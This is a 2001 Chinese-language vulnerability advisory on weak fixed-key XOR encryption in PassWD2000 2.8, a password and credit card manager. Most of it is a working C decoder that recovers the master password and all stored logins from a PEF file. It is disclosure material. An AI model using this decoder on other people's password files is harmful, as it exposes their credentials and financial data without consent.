PassWD 2000 存在加密不强壮问题发布时间:2001-06-08 更新时间:2001-06-08 严重程度:中 威胁程度:口令恢复 错误类型:设计错误 利用方式:服务器模式 受影响系统 PassWD PassWD2000 2.8详细描述 PassWD2000是设计用来储存敏感数据如登陆信息,注册信息和信用卡信息。 PassWD2000对信息的加密使用了简单的算法和存储会话KEY用来加密操作, 因为会话KEY使用了固定的KEY来进行加密,所以可以比较方便的恢复数据。 测试代码 /* * Decoder for PassWD2000 v2.x password files in PEF format * * Written 2001 by Daniel Roethlisberger <daniel@roe.ch> * * This code is hereby placed in the public domain. * Use this code at your own risk for whatever you want. * * This code has grown with my knowledge about the data * format, thus it is quite a bit messy and ugly indeed. */ #include <stdio.h> #include <sys/stat.h> const unsigned char key[16] = { 0x0A, 0x0C, 0x4D, 0x1E, 0x01, 0x4F, 0x03, 0x06, 0x5F, 0x64, 0x96, 0xC8, 0xFA, 0x11, 0x0D, 0x47}; #define leave(x) {\ fprintf(stderr, "%s: " x "\n", basename(argv[0]));\ exit(1);\ } #define leaveheader() {\ free(buf);\ leave("header inconsistency");\ } int main(int argc, char *argv[]) { FILE* infile; unsigned char *buf; struct stat st; int buflen; int offset, i, count; int hdrlen, pwlen, reclen, recnum; if(argc != 2) leave("only argument must be file to decode"); infile = fopen(argv[1], "r"); if(!infile) leave("cannot open file"); stat(argv[1], &st); buflen = st.st_size; buf = (unsigned char*) malloc(buflen); if(!buf) leave("out of memory"); fread(buf, 1, buflen, infile); fclose(infile); printf("[%s]\n", argv[1]); if(buflen < 0x1D) /* minimal empty header */ leaveheader(); offset = 0; /* decode 128bit session key */ printf("Session key: "); for(i = 0; i < 0x10; i++) { buf[i] ^= key[i]; printf("%.2X ", buf[i]); } printf("\n"); offset += i; /* decode header ... */ /* always seems to be '0' */ buf[offset] ^= buf[(offset++)%0x10]; printf("Unknown pre-header byte: %c (should be 0)\n", buf[offset-1]); /* header length ... */ buf[offset] ^= buf[(offset++)%0x10]; buf[offset] ^= buf[(offset++)%0x10]; hdrlen = (buf[offset-2] - '0') * 10 + buf[offset-1] - '0'; printf("Header length: %i\n", hdrlen); /* always seems to be '2U00' */ printf("Unknown header bytes: "); for(i = 0; i < 4; i++) { buf[offset+i] ^= buf[(offset+i)%0x10]; printf("%c" , buf[offset+i]); } printf(" (should be 2U00)\n"); offset += i; /* password status ... */ buf[offset] ^= buf[(offset++)%0x10]; printf("Password protection: %s\n", (buf[offset-1] == '1') ? "enabled" : "disabled"); /* password ... */ for(i = 0; i < 2; i++) buf[offset+i] ^= buf[(offset+i)%0x10]; offset += i; pwlen = (buf[offset-2] - '0') * 10 + (buf[offset-1] - '0'); if(pwlen > 30) leaveheader(); printf("Master password: "); for(i = 0; i < pwlen; i++) { buf[offset+i] ^= buf[(offset+i)%0x10]; printf("%c", buf[offset+i]); } printf(" (%i)\n", pwlen); offset += i; /* number of records ... */ buf[offset] ^= buf[(offset++)%0x10]; reclen = buf[offset-1] - '0'; for(i = 0; i < reclen; i++) buf[offset+i] ^= buf[(offset+i)%0x10]; offset += i; recnum = 0; for(i = reclen; i > 0; --i) recnum = (10 * recnum) + buf[offset-i] - '0'; printf("Number of records: %i\n", recnum); /* header checksum ... */ buf[offset] ^= buf[(offset++)%0x10]; printf("Header checksum: 0x%.2X\n", buf[offset-1]); /* and records. */ for(i = 0; i < (buflen - offset); i++) buf[offset+i] ^= buf[i%0x10]; if(0x14 + hdrlen != offset) printf("Warning: hdrlen mismatch (%i != %i)!\n", hdrlen+0x14, offset); if(recnum > 0) { count = 0; printf("Records: [desc - user:pass@URL (date)]\n"); for(i = 0x14 + hdrlen; i < buflen; i++) { if(buf[i] == '\r') switch((count++)%10) { case 0: printf(" - "); break; case 1: printf(":"); break; case 2: printf("@"); break; case 3: printf(" ("); break; case 4: printf(")"); break; case 9: printf("\n"); break; } else printf("%c", buf[i]); } } free(buf); return 0; } 解决方案 尚无 相关信息 |